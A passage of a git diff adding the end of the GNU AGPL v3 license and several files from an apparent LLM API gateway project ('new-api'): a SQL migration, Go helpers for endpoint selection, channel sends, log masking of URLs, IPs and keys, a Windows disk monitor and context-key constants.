+    Corresponding Source along with the object code.  If the place to
+    copy the object code is a network server, the Corresponding Source
+    may be on a different server (operated by you or a third party)
+    that supports equivalent copying facilities, provided you maintain
+    clear directions next to the object code saying where to find the
+    Corresponding Source.  Regardless of what server hosts the
+    Corresponding Source, you remain obligated to ensure that it is
+    available for as long as needed to satisfy these requirements.
+
+    e) Convey the object code using peer-to-peer transmission, provided
+    you inform other peers where the object code and Corresponding
+    Source of the work are being offered to the general public at no
+    charge under subsection 6d.
+
+  A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+  A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling.  In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage.  For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product.  A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+  "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source.  The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+  If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information.  But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+  The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed.  Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+  Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+  7. Additional Terms.
+
+  "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law.  If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+  When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it.  (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.)  You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+  Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+    a) Disclaiming warranty or limiting liability differently from the
+    terms of sections 15 and 16 of this License; or
+
+    b) Requiring preservation of specified reasonable legal notices or
+    author attributions in that material or in the Appropriate Legal
+    Notices displayed by works containing it; or
+
+    c) Prohibiting misrepresentation of the origin of that material, or
+    requiring that modified versions of such material be marked in
+    reasonable ways as different from the original version; or
+
+    d) Limiting the use for publicity purposes of names of licensors or
+    authors of the material; or
+
+    e) Declining to grant rights under trademark law for use of some
+    trade names, trademarks, or service marks; or
+
+    f) Requiring indemnification of licensors and authors of that
+    material by anyone who conveys the material (or modified versions of
+    it) with contractual assumptions of liability to the recipient, for
+    any liability that these contractual assumptions directly impose on
+    those licensors and authors.
+
+  All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10.  If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term.  If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+  If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+  Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+  8. Termination.
+
+  You may not propagate or modify a covered work except as expressly
+provided under this License.  Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+  However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+  Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+  Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License.  If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+  9. Acceptance Not Required for Having Copies.
+
+  You are not required to accept this License in order to receive or
+run a copy of the Program.  Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance.  However,
+nothing other than this License grants you permission to propagate or
+modify any covered work.  These actions infringe copyright if you do
+not accept this License.  Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+  10. Automatic Licensing of Downstream Recipients.
+
+  Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License.  You are not responsible
+for enforcing compliance by third parties with this License.
+
+  An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations.  If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+  You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License.  For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+  11. Patents.
+
+  A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based.  The
+work thus licensed is called the contributor's "contributor version".
+
+  A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version.  For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+  Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+  In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement).  To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+  If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients.  "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+  If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+  A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License.  You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+  Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+  12. No Surrender of Others' Freedom.
+
+  If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all.  For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+  13. Remote Network Interaction; Use with the GNU General Public License.
+
+  Notwithstanding any other provision of this License, if you modify the
+Program, your modified version must prominently offer all users
+interacting with it remotely through a computer network (if your version
+supports such interaction) an opportunity to receive the Corresponding
+Source of your version by providing access to the Corresponding Source
+from a network server at no charge, through some standard or customary
+means of facilitating copying of software.  This Corresponding Source
+shall include the Corresponding Source for any work covered by version 3
+of the GNU General Public License that is incorporated pursuant to the
+following paragraph.
+
+  Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU General Public License into a single
+combined work, and to convey the resulting work.  The terms of this
+License will continue to apply to the part which is the covered work,
+but the work with which it is combined will remain governed by version
+3 of the GNU General Public License.
+
+  14. Revised Versions of this License.
+
+  The Free Software Foundation may publish revised and/or new versions of
+the GNU Affero General Public License from time to time.  Such new versions
+will be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+  Each version is given a distinguishing version number.  If the
+Program specifies that a certain numbered version of the GNU Affero General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation.  If the Program does not specify a version number of the
+GNU Affero General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+  If the Program specifies that a proxy can decide which future
+versions of the GNU Affero General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+  Later license versions may give you additional or different
+permissions.  However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+  15. Disclaimer of Warranty.
+
+  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. Limitation of Liability.
+
+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+  17. Interpretation of Sections 15 and 16.
+
+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU Affero General Public License as published
+    by the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU Affero General Public License for more details.
+
+    You should have received a copy of the GNU Affero General Public License
+    along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+  If your software can interact with users remotely through a computer
+network, you should also make sure that it provides a way for users to
+get its source.  For example, if your program is a web application, its
+interface could display a "Source" link that leads users to an archive
+of the code.  There are many ways you could offer source, and different
+solutions will be better for different programs; see section 13 for the
+specific requirements.
+
+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU AGPL, see
+<https://www.gnu.org/licenses/>.
diff --git a/_all-in-one-upload/new-api/bin/migration_v0.3-v0.4.sql b/_all-in-one-upload/new-api/bin/migration_v0.3-v0.4.sql
new file mode 100644
index 0000000..e6103c2
--- /dev/null
+++ b/_all-in-one-upload/new-api/bin/migration_v0.3-v0.4.sql
@@ -0,0 +1,17 @@
+INSERT INTO abilities (`group`, model, channel_id, enabled)
+SELECT c.`group`, m.model, c.id, 1
+FROM channels c
+CROSS JOIN (
+    SELECT 'gpt-3.5-turbo' AS model UNION ALL
+    SELECT 'gpt-3.5-turbo-0301' AS model UNION ALL
+    SELECT 'gpt-4' AS model UNION ALL
+    SELECT 'gpt-4-0314' AS model
+) AS m
+WHERE c.status = 1
+  AND NOT EXISTS (
+    SELECT 1
+    FROM abilities a
+    WHERE a.`group` = c.`group`
+      AND a.model = m.model
+      AND a.channel_id = c.id
+);
diff --git a/_all-in-one-upload/new-api/common/endpoint_type.go b/_all-in-one-upload/new-api/common/endpoint_type.go
new file mode 100644
index 0000000..a5e2ff8
--- /dev/null
+++ b/_all-in-one-upload/new-api/common/endpoint_type.go
@@ -0,0 +1,45 @@
+package common
+
+import "github.com/QuantumNous/new-api/constant"
+
+// GetEndpointTypesByChannelType 获取渠道最优先端点类型（所有的渠道都支持 OpenAI 端点）
+func GetEndpointTypesByChannelType(channelType int, modelName string) []constant.EndpointType {
+	var endpointTypes []constant.EndpointType
+	switch channelType {
+	case constant.ChannelTypeJina:
+		endpointTypes = []constant.EndpointType{constant.EndpointTypeJinaRerank}
+	//case constant.ChannelTypeMidjourney, constant.ChannelTypeMidjourneyPlus:
+	//	endpointTypes = []constant.EndpointType{constant.EndpointTypeMidjourney}
+	//case constant.ChannelTypeSunoAPI:
+	//	endpointTypes = []constant.EndpointType{constant.EndpointTypeSuno}
+	//case constant.ChannelTypeKling:
+	//	endpointTypes = []constant.EndpointType{constant.EndpointTypeKling}
+	//case constant.ChannelTypeJimeng:
+	//	endpointTypes = []constant.EndpointType{constant.EndpointTypeJimeng}
+	case constant.ChannelTypeAws:
+		fallthrough
+	case constant.ChannelTypeAnthropic:
+		endpointTypes = []constant.EndpointType{constant.EndpointTypeAnthropic, constant.EndpointTypeOpenAI}
+	case constant.ChannelTypeVertexAi:
+		fallthrough
+	case constant.ChannelTypeGemini:
+		endpointTypes = []constant.EndpointType{constant.EndpointTypeGemini, constant.EndpointTypeOpenAI}
+	case constant.ChannelTypeOpenRouter: // OpenRouter 只支持 OpenAI 端点
+		endpointTypes = []constant.EndpointType{constant.EndpointTypeOpenAI}
+	case constant.ChannelTypeXai:
+		endpointTypes = []constant.EndpointType{constant.EndpointTypeOpenAI, constant.EndpointTypeOpenAIResponse}
+	case constant.ChannelTypeSora:
+		endpointTypes = []constant.EndpointType{constant.EndpointTypeOpenAIVideo}
+	default:
+		if IsOpenAIResponseOnlyModel(modelName) {
+			endpointTypes = []constant.EndpointType{constant.EndpointTypeOpenAIResponse}
+		} else {
+			endpointTypes = []constant.EndpointType{constant.EndpointTypeOpenAI}
+		}
+	}
+	if IsImageGenerationModel(modelName) {
+		// add to first
+		endpointTypes = append([]constant.EndpointType{constant.EndpointTypeImageGeneration}, endpointTypes...)
+	}
+	return endpointTypes
+}
diff --git a/_all-in-one-upload/new-api/common/go-channel.go b/_all-in-one-upload/new-api/common/go-channel.go
new file mode 100644
index 0000000..f9168fc
--- /dev/null
+++ b/_all-in-one-upload/new-api/common/go-channel.go
@@ -0,0 +1,53 @@
+package common
+
+import (
+	"time"
+)
+
+func SafeSendBool(ch chan bool, value bool) (closed bool) {
+	defer func() {
+		// Recover from panic if one occured. A panic would mean the channel was closed.
+		if recover() != nil {
+			closed = true
+		}
+	}()
+
+	// This will panic if the channel is closed.
+	ch <- value
+
+	// If the code reaches here, then the channel was not closed.
+	return false
+}
+
+func SafeSendString(ch chan string, value string) (closed bool) {
+	defer func() {
+		// Recover from panic if one occured. A panic would mean the channel was closed.
+		if recover() != nil {
+			closed = true
+		}
+	}()
+
+	// This will panic if the channel is closed.
+	ch <- value
+
+	// If the code reaches here, then the channel was not closed.
+	return false
+}
+
+// SafeSendStringTimeout send, return true, else return false
+func SafeSendStringTimeout(ch chan string, value string, timeout int) (closed bool) {
+	defer func() {
+		// Recover from panic if one occured. A panic would mean the channel was closed.
+		if recover() != nil {
+			closed = false
+		}
+	}()
+
+	// This will panic if the channel is closed.
+	select {
+	case ch <- value:
+		return true
+	case <-time.After(time.Duration(timeout) * time.Second):
+		return false
+	}
+}
diff --git a/_all-in-one-upload/new-api/common/str.go b/_all-in-one-upload/new-api/common/str.go
new file mode 100644
index 0000000..71391f7
--- /dev/null
+++ b/_all-in-one-upload/new-api/common/str.go
@@ -0,0 +1,254 @@
+package common
+
+import (
+	"encoding/base64"
+	"encoding/json"
+	"net/url"
+	"regexp"
+	"strconv"
+	"strings"
+	"unsafe"
+
+	"github.com/samber/lo"
+)
+
+var (
+	maskURLPattern    = regexp.MustCompile(`(http|https)://[^\s/$.?#].[^\s]*`)
+	maskDomainPattern = regexp.MustCompile(`\b(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}\b`)
+	maskIPPattern     = regexp.MustCompile(`\b(?:\d{1,3}\.){3}\d{1,3}\b`)
+	// maskApiKeyPattern matches patterns like 'api_key:xxx' or "api_key:xxx" to mask the API key value
+	maskApiKeyPattern = regexp.MustCompile(`(['"]?)api_key:([^\s'"]+)(['"]?)`)
+)
+
+func GetStringIfEmpty(str string, defaultValue string) string {
+	if str == "" {
+		return defaultValue
+	}
+	return str
+}
+
+func GetRandomString(length int) string {
+	if length <= 0 {
+		return ""
+	}
+	return lo.RandomString(length, lo.AlphanumericCharset)
+}
+
+func MapToJsonStr(m map[string]interface{}) string {
+	bytes, err := json.Marshal(m)
+	if err != nil {
+		return ""
+	}
+	return string(bytes)
+}
+
+func StrToMap(str string) (map[string]interface{}, error) {
+	m := make(map[string]interface{})
+	err := Unmarshal([]byte(str), &m)
+	if err != nil {
+		return nil, err
+	}
+	return m, nil
+}
+
+func StrToJsonArray(str string) ([]interface{}, error) {
+	var js []interface{}
+	err := json.Unmarshal([]byte(str), &js)
+	if err != nil {
+		return nil, err
+	}
+	return js, nil
+}
+
+func IsJsonArray(str string) bool {
+	var js []interface{}
+	return json.Unmarshal([]byte(str), &js) == nil
+}
+
+func IsJsonObject(str string) bool {
+	var js map[string]interface{}
+	return json.Unmarshal([]byte(str), &js) == nil
+}
+
+func String2Int(str string) int {
+	num, err := strconv.Atoi(str)
+	if err != nil {
+		return 0
+	}
+	return num
+}
+
+func StringsContains(strs []string, str string) bool {
+	for _, s := range strs {
+		if s == str {
+			return true
+		}
+	}
+	return false
+}
+
+// StringToByteSlice []byte only read, panic on append
+func StringToByteSlice(s string) []byte {
+	tmp1 := (*[2]uintptr)(unsafe.Pointer(&s))
+	tmp2 := [3]uintptr{tmp1[0], tmp1[1], tmp1[1]}
+	return *(*[]byte)(unsafe.Pointer(&tmp2))
+}
+
+func EncodeBase64(str string) string {
+	return base64.StdEncoding.EncodeToString([]byte(str))
+}
+
+func GetJsonString(data any) string {
+	if data == nil {
+		return ""
+	}
+	b, _ := json.Marshal(data)
+	return string(b)
+}
+
+// NormalizeBillingPreference clamps the billing preference to valid values.
+func NormalizeBillingPreference(pref string) string {
+	switch strings.TrimSpace(pref) {
+	case "subscription_first", "wallet_first", "subscription_only", "wallet_only":
+		return strings.TrimSpace(pref)
+	default:
+		return "subscription_first"
+	}
+}
+
+// MaskEmail masks a user email to prevent PII leakage in logs
+// Returns "***masked***" if email is empty, otherwise shows only the domain part
+func MaskEmail(email string) string {
+	if email == "" {
+		return "***masked***"
+	}
+
+	// Find the @ symbol
+	atIndex := strings.Index(email, "@")
+	if atIndex == -1 {
+		// No @ symbol found, return masked
+		return "***masked***"
+	}
+
+	// Return only the domain part with @ symbol
+	return "***@" + email[atIndex+1:]
+}
+
+// maskHostTail returns the tail parts of a domain/host that should be preserved.
+// It keeps 2 parts for likely country-code TLDs (e.g., co.uk, com.cn), otherwise keeps only the TLD.
+func maskHostTail(parts []string) []string {
+	if len(parts) < 2 {
+		return parts
+	}
+	lastPart := parts[len(parts)-1]
+	secondLastPart := parts[len(parts)-2]
+	if len(lastPart) == 2 && len(secondLastPart) <= 3 {
+		// Likely country code TLD like co.uk, com.cn
+		return []string{secondLastPart, lastPart}
+	}
+	return []string{lastPart}
+}
+
+// maskHostForURL collapses subdomains and keeps only masked prefix + preserved tail.
+// Example: api.openai.com -> ***.com, sub.domain.co.uk -> ***.co.uk
+func maskHostForURL(host string) string {
+	parts := strings.Split(host, ".")
+	if len(parts) < 2 {
+		return "***"
+	}
+	tail := maskHostTail(parts)
+	return "***." + strings.Join(tail, ".")
+}
+
+// maskHostForPlainDomain masks a plain domain and reflects subdomain depth with multiple ***.
+// Example: openai.com -> ***.com, api.openai.com -> ***.***.com, sub.domain.co.uk -> ***.***.co.uk
+func maskHostForPlainDomain(domain string) string {
+	parts := strings.Split(domain, ".")
+	if len(parts) < 2 {
+		return domain
+	}
+	tail := maskHostTail(parts)
+	numStars := len(parts) - len(tail)
+	if numStars < 1 {
+		numStars = 1
+	}
+	stars := strings.TrimSuffix(strings.Repeat("***.", numStars), ".")
+	return stars + "." + strings.Join(tail, ".")
+}
+
+// MaskSensitiveInfo masks sensitive information like URLs, IPs, and domain names in a string
+// Example:
+// http://example.com -> http://***.com
+// https://api.test.org/v1/users/123?key=secret -> https://***.org/***/***/?key=***
+// https://sub.domain.co.uk/path/to/resource -> https://***.co.uk/***/***
+// 192.168.1.1 -> ***.***.***.***
+// openai.com -> ***.com
+// www.openai.com -> ***.***.com
+// api.openai.com -> ***.***.com
+func MaskSensitiveInfo(str string) string {
+	// Mask URLs
+	str = maskURLPattern.ReplaceAllStringFunc(str, func(urlStr string) string {
+		u, err := url.Parse(urlStr)
+		if err != nil {
+			return urlStr
+		}
+
+		host := u.Host
+		if host == "" {
+			return urlStr
+		}
+
+		// Mask host with unified logic
+		maskedHost := maskHostForURL(host)
+
+		result := u.Scheme + "://" + maskedHost
+
+		// Mask path
+		if u.Path != "" && u.Path != "/" {
+			pathParts := strings.Split(strings.Trim(u.Path, "/"), "/")
+			maskedPathParts := make([]string, len(pathParts))
+			for i := range pathParts {
+				if pathParts[i] != "" {
+					maskedPathParts[i] = "***"
+				}
+			}
+			if len(maskedPathParts) > 0 {
+				result += "/" + strings.Join(maskedPathParts, "/")
+			}
+		} else if u.Path == "/" {
+			result += "/"
+		}
+
+		// Mask query parameters
+		if u.RawQuery != "" {
+			values, err := url.ParseQuery(u.RawQuery)
+			if err != nil {
+				// If can't parse query, just mask the whole query string
+				result += "?***"
+			} else {
+				maskedParams := make([]string, 0, len(values))
+				for key := range values {
+					maskedParams = append(maskedParams, key+"=***")
+				}
+				if len(maskedParams) > 0 {
+					result += "?" + strings.Join(maskedParams, "&")
+				}
+			}
+		}
+
+		return result
+	})
+
+	// Mask domain names without protocol (like openai.com, www.openai.com)
+	str = maskDomainPattern.ReplaceAllStringFunc(str, func(domain string) string {
+		return maskHostForPlainDomain(domain)
+	})
+
+	// Mask IP addresses
+	str = maskIPPattern.ReplaceAllString(str, "***.***.***.***")
+
+	// Mask API keys (e.g., "api_key:AIzaSyAAAaUooTUni8AdaOkSRMda30n_Q4vrV70" -> "api_key:***")
+	str = maskApiKeyPattern.ReplaceAllString(str, "${1}api_key:***${3}")
+
+	return str
+}
diff --git a/_all-in-one-upload/new-api/common/system_monitor_windows.go b/_all-in-one-upload/new-api/common/system_monitor_windows.go
new file mode 100644
index 0000000..7db7667
--- /dev/null
+++ b/_all-in-one-upload/new-api/common/system_monitor_windows.go
@@ -0,0 +1,50 @@
+//go:build windows
+
+package common
+
+import (
+	"os"
+	"syscall"
+	"unsafe"
+)
+
+// GetDiskSpaceInfo 获取缓存目录所在磁盘的空间信息 (Windows)
+func GetDiskSpaceInfo() DiskSpaceInfo {
+	cachePath := GetDiskCachePath()
+	if cachePath == "" {
+		cachePath = os.TempDir()
+	}
+
+	info := DiskSpaceInfo{}
+
+	kernel32 := syscall.NewLazyDLL("kernel32.dll")
+	getDiskFreeSpaceEx := kernel32.NewProc("GetDiskFreeSpaceExW")
+
+	var freeBytesAvailable, totalBytes, totalFreeBytes uint64
+
+	pathPtr, err := syscall.UTF16PtrFromString(cachePath)
+	if err != nil {
+		return info
+	}
+
+	ret, _, _ := getDiskFreeSpaceEx.Call(
+		uintptr(unsafe.Pointer(pathPtr)),
+		uintptr(unsafe.Pointer(&freeBytesAvailable)),
+		uintptr(unsafe.Pointer(&totalBytes)),
+		uintptr(unsafe.Pointer(&totalFreeBytes)),
+	)
+
+	if ret == 0 {
+		return info
+	}
+
+	info.Total = totalBytes
+	info.Free = freeBytesAvailable
+	info.Used = totalBytes - totalFreeBytes
+
+	if info.Total > 0 {
+		info.UsedPercent = float64(info.Used) / float64(info.Total) * 100
+	}
+
+	return info
+}
diff --git a/_all-in-one-upload/new-api/constant/context_key.go b/_all-in-one-upload/new-api/constant/context_key.go
new file mode 100644
index 0000000..c28ad20
--- /dev/null
+++ b/_all-in-one-upload/new-api/constant/context_key.go
@@ -0,0 +1,69 @@
+package constant
+
+type ContextKey string
+
+const (
+	ContextKeyTokenCountMeta  ContextKey = "token_count_meta"
+	ContextKeyPromptTokens    ContextKey = "prompt_tokens"
+	ContextKeyEstimatedTokens ContextKey = "estimated_tokens"
+
+	ContextKeyOriginalModel    ContextKey = "original_model"
+	ContextKeyRequestStartTime ContextKey = "request_start_time"
+
+	/* token related keys */
+	ContextKeyTokenUnlimited         ContextKey = "token_unlimited_quota"
+	ContextKeyTokenKey               ContextKey = "token_key"
+	ContextKeyTokenId                ContextKey = "token_id"
+	ContextKeyTokenGroup             ContextKey = "token_group"
+	ContextKeyTokenSpecificChannelId ContextKey = "specific_channel_id"
+	ContextKeyTokenModelLimitEnabled ContextKey = "token_model_limit_enabled"
+	ContextKeyTokenModelLimit        ContextKey = "token_model_limit"
+	ContextKeyTokenCrossGroupRetry   ContextKey = "token_cross_group_retry"
+
+	/* channel related keys */
+	ContextKeyChannelId                ContextKey = "channel_id"
+	ContextKeyChannelName              ContextKey = "channel_name"
+	ContextKeyChannelCreateTime        ContextKey = "channel_create_time"
+	ContextKeyChannelBaseUrl           ContextKey = "base_url"
+	ContextKeyChannelType              ContextKey = "channel_type"
+	ContextKeyChannelSetting           ContextKey = "channel_setting"
+	ContextKeyChannelOtherSetting      ContextKey = "channel_other_setting"
+	ContextKeyChannelParamOverride     ContextKey = "param_override"
+	ContextKeyChannelHeaderOverride    ContextKey = "header_override"
+	ContextKeyChannelOrganization      ContextKey = "channel_organization"
+	ContextKeyChannelAutoBan           ContextKey = "auto_ban"
+	ContextKeyChannelModelMapping      ContextKey = "model_mapping"
+	ContextKeyChannelStatusCodeMapping ContextKey = "status_code_mapping"
+	ContextKeyChannelIsMultiKey        ContextKey = "channel_is_multi_key"
+	ContextKeyChannelMultiKeyIndex     ContextKey = "channel_multi_key_index"
+	ContextKeyChannelKey               ContextKey = "channel_key"
+
+	ContextKeyAutoGroup           ContextKey = "auto_group"
+	ContextKeyAutoGroupIndex      ContextKey = "auto_group_index"
+	ContextKeyAutoGroupRetryIndex ContextKey = "auto_group_retry_index"
+
+	/* user related keys */
+	ContextKeyUserId      ContextKey = "id"
+	ContextKeyUserSetting ContextKey = "user_setting"
+	ContextKeyUserQuota   ContextKey = "user_quota"
+	ContextKeyUserStatus  ContextKey = "user_status"
+	ContextKeyUserEmail   ContextKey = "user_email"
